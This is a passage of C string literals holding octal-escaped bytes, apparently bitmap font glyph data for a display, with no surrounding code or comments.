"\300\300\300\200\200\0\0\0\0\0\0\0\0\0\370\374\376\377\7\3\3\1\1\1\1\1\3\3\7\17\37\16" "\0\0\0\0\0\0\1\3\7\17\37\36<\70xx\360\360\340\340\300\300\200\0\0\0\0\0\0\0\200\200" "\0\0\0\0\0\0\0\0\0\0\0\1\3\207\377\377\376x\0\0\0\6\7\17\37\36\34<\70\70\70\70" "\70<<\34\36\17\17\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\0\0\1\1\1\1" "\1\1\1\1\1\377\377\377\377\1\1\1\1\1\1\1\1\1\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300\300\300\300\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377" "\377\377\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\377\377\377" "\377\200\0\0\0\0\0\0\0\0\0\0\0\300\377\377\377\77\0\0\0\0\3\7\17\37\36\34<\70\70\70" "\70<<\36\37\17\17\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300@\0\0\7\77\377" "\376\360\200\0\0\0\0\0\0\0\0\0\200\360\376\377\37\3\0\0\0\0\0\1\17\177\377\374\340\0\0\0" "\0\0\340\374\377\77\7\0\0\0\0\0\0\0\0\0\0\0\3\37\377\377\370\300\370\377\177\17\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\7\77\77\37\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\300\300\300\0\37\377\377\370\0\0\0\0\0\200\370\377\376\340\0\0\0\0\0\360" "\377\377\7\0\0\17\377\377\374\0\0\300\374\377\17\1\37\377\376\360\0\0\370\377\377\3\0\0\0\0\3\377" "\377\377\374\377\17\0\0\0\0\1\37\377\377\370\377\77\0\0\0\0\0\0\0\0\77\77\17\0\0\0\0\0" "\0\0\0\1\37\77\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\0\0\0\0\0\1\7" "\37\177\374\370\340\200\0\0\0\300\360\374\177\37\17\3\0\0\0\0\0\0\0\0\0\0\1\7\217\377\376\374" "\377\337\7\1\0\0\0\0\0\0\0\0\0\0\0\0\200\340\370\376\77\37\7\3\17\37\177\374\370\340\200\0" "\0\0\0\0\0\60<\77\77\17\3\0\0\0\0\0\0\0\0\1\7\37\77>\70 \0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\300\300\300\300\0\0\0\0\0\0\0" "\0\0\0\0\0\0\200\300\300\300@\0\0\1\7\17\77\377\374\360\300\0\0\0\0\0\0\300\360\376\177\37" "\7\1\0\0\0\0\0\0\0\0\3\17\77\377\374\360\360\374\377\77\17\1\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77" "\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\0\0\0\0\1\1\1" "\1\1\1\1\1\1\1\1\1\201\341\371\377\77\37\7\1\0\0\0\0\0\0\0\0\0\0\0\200\340\360\374" "\77\37\7\1\0\0\0\0\0\0\0\0\0\0\0\200\300\360\374~\37\7\3\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\70>\77\77;\70\70\70\70\70\70\70\70\70\70\70\70\70\70\70\70\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\360\360\360ppp" "pppppppp\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\0\0\0\0\0\0`\340\360\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1" "\17\77\377\374\360\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\77\377\370" "\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\37\177\376\370\300\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\77\377\374p@\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0pppppppppp" "pp\360\360\360\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\377\377\377\377\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\200\300\360\374\77\37\17\77~\370\360\300\0\0\0\0\0\0\0\0\0\0\0\16\17\7\3\0\0\0\0" "\0\0\1\7\17\17\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\200\200\200\200\200\200\200" "\200\200\200\200\200\200\200\200\200\200\0\0\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3" "\3\3\0\0\0\0\0\0\0\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\77\377\376\370\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\37\177\374" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\300\200\200\200\200\0\0\0\0" "\0\0\0\0\0\0\0\2\6\17\7\3\3\3\3\3\3\3\3\7\17\377\376\374\360\0\0\0\0\340\360\370" "\374\36\16\16\17\7\7\7\7\7\7\7\207\377\377\377\377\0\0\0\0\3\17\17\37\36<\70\70\70\70\70" "\34\34\16\17\7\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\360\360\360\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\0\0\0\200\200\200\200\200\200\200\200\0\0\0\0\0\0\0\0\0\377\377\377\377\36\7\3\3\3\3\3" "\3\3\7\17\77\376\374\370\300\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\200\377\377\377" "\77\0\0\0\0\77\77\77\7\17\16\34\30\70\70\70\70<\36\37\17\17\3\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\300\200\200\200\200\0\0\0" "\0\0\0\0\0\200\360\370\374>\17\7\7\3\3\3\3\3\3\3\7\17\37\36\14\0\0\0\0\77\377\377" "\377\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\17\17\36\34<\70\70" "\70\70\70<\34\36\17\16\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\360\360\360\0\0\0\0\0\0\0" "\0\0\200\200\200\200\300\200\200\200\0\0\0\377\377\377\377\0\0\0\0\300\370\374\376\37\17\7\3\3\3\3" "\3\3\7\7\36\377\377\377\377\0\0\0\0\177\377\377\377\300\0\0\0\0\0\0\0\0\0\0\200\377\377\377" "\377\0\0\0\0\0\1\7\17\37\37><\70\70\70\70\34\34\16\7\77\77\77\77\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\300\200\200\200\200\0\0\0\0" "\0\0\0\0\0\300\360\374\376\237\217\207\203\203\203\203\203\203\203\207\217\377\376\370\340\0\0\0\0\177\377\377" "\377\303\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\0\0\0\0\0\1\3\7\17\37\36<<\70\70" "\70\70\70<\34\36\17\6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\340\340\360pppp\360\340\340\300\200\0\0\0\0\0" "\0\0\0\376\377\377\377\3\0\0\0\0\0\0\0\0\1\7\1\0\0\0\7\7\7\7\7\377\377\377\377\7" "\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\300\200\200\200\0\0\0\0\200\200\200" "\200\300\0\0\0\360\374\376\377\17\7\3\3\3\3\3\7\17\377\376\377\363\3\3\3\3\3\0\0\1\207\317" "\357~<\70\70\70\70\70<\36\37\17\7\1\0\0\0\0\0\0\0\300\347\357\177>\34\34\34\34\34\34" "\34\34\34\34<\70\370\360\360\300\0\0\7\37\37\77<\70xpppppppx\70<>\37\17" "\7\1\0\0\0\0\360\360\360\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377" "\377\377\0\0\0\0\200\200\200\300\200\200\200\0\0\0\0\0\0\0\0\0\377\377\377\377\34\16\7\7\3\3" "\3\3\3\7\17\377\377\374\360\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\0\0\0\0\0\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\77\77\77\77\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360\360" "\360\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\200\201\201\201\200\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\3\3\3\3\3\3\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\70\70\70\70\70\70\77\77" "\77\77\70\70\70\70\70\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360\360\360\340\0\0\0\0\0\0\0\0\0\0" "\0\200\200\200\200\200\200\200\200\200\201\201\201\200\0\0\0\0\0\0\0\0\0\0\0\3\3\3\3\3\3\3" "\3\3\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\10\34>" "\37\17\7\0\0\0\0\0\0\0\0\0\360\360\360\360\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\200\200\200" "\200\0\0\0\0\0\377\377\377\377\0\0\200\300\340\360x<>\36\17\7\3\1\0\0\0\0\0\0\377\377" "\377\377\36\17\7\7\17\77~\374\360\340\300\200\0\0\0\0\0\0\0\0\77\77\77\77\0\0\0\0\0\0" "\0\0\1\7\17\37\77<\70\60 \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0ppppppp\360\360\360\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0" "\0\0\0\0\0\0\70\70\70\70\70\70\70\77\77\77\77\70\70\70\70\70\70\70\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\0\200\300\300\300\300\300\200\0\200\200\300\300\300\300\300" "\300\0\0\0\377\377\377\377\7\1\1\1\1\377\377\377\376\17\3\1\1\1\377\377\377\377\0\0\377\377\377\377" "\0\0\0\0\0\377\377\377\377\0\0\0\0\0\377\377\377\377\0\0\37\37\37\37\0\0\0\0\0\37\37\37" "\37\0\0\0\0\0\37\37\37\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200" "\200\200\0\0\0\0\200\200\200\300\200\200\200\0\0\0\0\0\0\0\0\0\377\377\377\377\34\16\7\7\3\3" "\3\3\3\7\17\377\377\374\360\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\0\0\0\0\0\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\77\77\77\77\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\300\300\300\200\0\0\0" "\0\0\0\0\300\370\374\376\37\7\3\3\1\1\1\1\1\1\3\7\17\77\377\374\370\300\0\0\37\177\377\377" "\340\200\0\0\0\0\0\0\0\0\0\0\200\340\377\377\177\17\0\0\0\0\1\3\7\17\17\16\36\34\34\34" "\34\36\16\17\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300" "\300\0\0\200\300\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\377\377\377\377\16\3\3\1\1\1\1" "\1\1\3\3\17\77\377\376\370\300\0\0\0\377\377\377\377\200\0\0\0\0\0\0\0\0\0\0\200\340\377\377" "\177\17\0\0\0\377\377\377\377\3\7\16\16\34\34\34\34\36\36\17\17\7\3\1\0\0\0\0\0\77\77\77" "\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\300\300\200\0\0\300\300" "\300\300\0\0\0\340\370\376\377\37\7\3\1\1\1\1\1\1\1\3\7\16\377\377\377\377\0\0\0\37\377\377" "\377\340\200\0\0\0\0\0\0\0\0\0\0\300\377\377\377\377\0\0\0\0\0\1\3\7\17\17\36\36\34\34" "\34\34\16\16\7\3\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77" "\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300" "\300\300\300\0\0\200\200\300\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0\377\377\377\377>\17\7\3\3" "\1\1\1\1\1\1\3\7\3\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\37\37\37\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\300\300\300\300\200\0\0" "\0\0\0\0\0\0\0<\177\377\377\343\301\301\201\201\201\1\1\3\3\7\37\7\2\0\0\0\0\0\200\300" "\200\0\1\1\1\3\3\3\7\7\7\17\36\376\374\370\360\0\0\0\0\0\3\7\7\17\16\36\36\34\34\34" "\34\34\36\16\17\17\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200" "\200\200\200\200\376\377\377\217\200\200\200\200\200\200\200\0\0\0\0\0\0\0\3\3\3\3\3\377\377\377\377\3" "\3\3\3\3\3\3\3\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\3\17\37\37><\70\70\70\70\34\34\36\16\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\0\0\0\0\0\0\0\0\0\0\0\200\200\200" "\200\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\377\377" "\377\377\0\0\0\0\0\0\0\0\0\0\200\377\377\377\377\0\0\0\0\0\0\7\17\37\37><\70\70\70" "\70\34\34\16\7\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200" "\200\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\0\0\0\3\17\177\377\374\340\200\0\0\0\0" "\0\0\0\0\340\370\377\77\7\0\0\0\0\0\0\0\1\17\77\377\376\360\300\0\200\360\374\177\37\7\0\0" "\0\0\0\0\0\0\0\0\0\0\0\1\7\77\77>\77\17\3\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\200\200\200\0\7\377\377\374\200\0\0\0\0\300\374\376\376\370\300\0\0\0\0\300\377\377\37\0\0\0\37\377" "\377\360\0\300\374\177\17\0\3\37\377\374\340\0\340\377\377\7\0\0\0\0\0\3\77\77>\77\7\0\0\0" "\0\0\1\17\77\77\77\77\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200" "\200\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\0\0\0\0\0\0\1\7\17\37~\374\360\340\200\200" "\340\360\370~\37\17\3\1\0\0\0\0\0\0\0\0\0\200\300\340\373\177\77\77\177\373\360\340\200\0\0\0" "\0\0\0\0\0 \60<>\37\17\3\1\0\0\0\0\0\3\7\37\77<\70\60\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200" "\200\200\0\0\0\1\7\77\377\376\360\300\0\0\0\0\0\0\0\0\340\374\377\77\17\1\0\0\0\0\0\0" "\0\3\37\177\376\370\300\0\0\340\370\377\77\17\1\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\377\377" "\377\77\17\1\0\0\0\0\0\0\0\0\70\37\17\7\1\0\0\0\0\0\0" "\0\0\0\0\0\70<\77\77\77;\71\70\70\70\70\70\70\70\70\70\70\70\70\70\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200" "\300\300\300\300\300\300\300\300\0\0\0\0\0\0\0\0\0\0\0\370\376\377\377\7\3\1\1\1\1\1\1\1" "\0\0\0\0\0\0\0\0\0\200\340\377\377\177\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7" "\7\17=\375\370\360\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\37\77~xxpppppp" "\0\0\0\0\0\0\0\0\0\0\0\0\0\360\360\360\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\37\37\37\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\200" "\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\1\1\1\3\3\17\377\377\376\360\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\37\177\377\377\300\200\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\300\360\370\375\37\17\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0ppppppxx>\77\37\17\1\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200" "\200\300\300\300\300\300\200\200\0\0\0\0\0\0\0\200\300\200\0\0\0\6\17\17\3\3\1\1\1\3\7\7" "\17\36\36\34\34\36\16\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" 